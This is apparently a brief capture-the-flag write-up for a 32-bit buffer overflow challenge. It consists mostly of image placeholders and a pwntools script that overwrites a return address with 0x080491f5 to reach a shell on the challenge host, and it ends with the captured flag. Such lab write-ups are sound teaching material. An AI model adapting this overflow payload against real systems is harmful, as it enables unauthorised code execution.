2024-10-17 Baby Buffer Overflow - 32bit (Binary Ex

image.png

image.png

image.png

image.png

image.png

image.png

On local compiled binary, a6 is target

image.png

Would jump to target

image.png

Original binary, target is 080491f5

image.png

from pwn import *
p = remote('challenge.ctf.games', 32185)
p.recvuntil("Gimme some data!")
#payload = b"A" * 28 + b"\x\x91\x04\x08"
payload = b"A" * 28 + b"\xf5\x91\x04\x08"
p.sendline(payload)
#time.sleep(1)
#response = p.recv(timeout=2)
#print(response.decode())
#p.close()
p.interactive()

image.png

Then just cat the flag.txt from the instance and shell

flag{4cd3b4079393e861af489ca063373f98}

image.png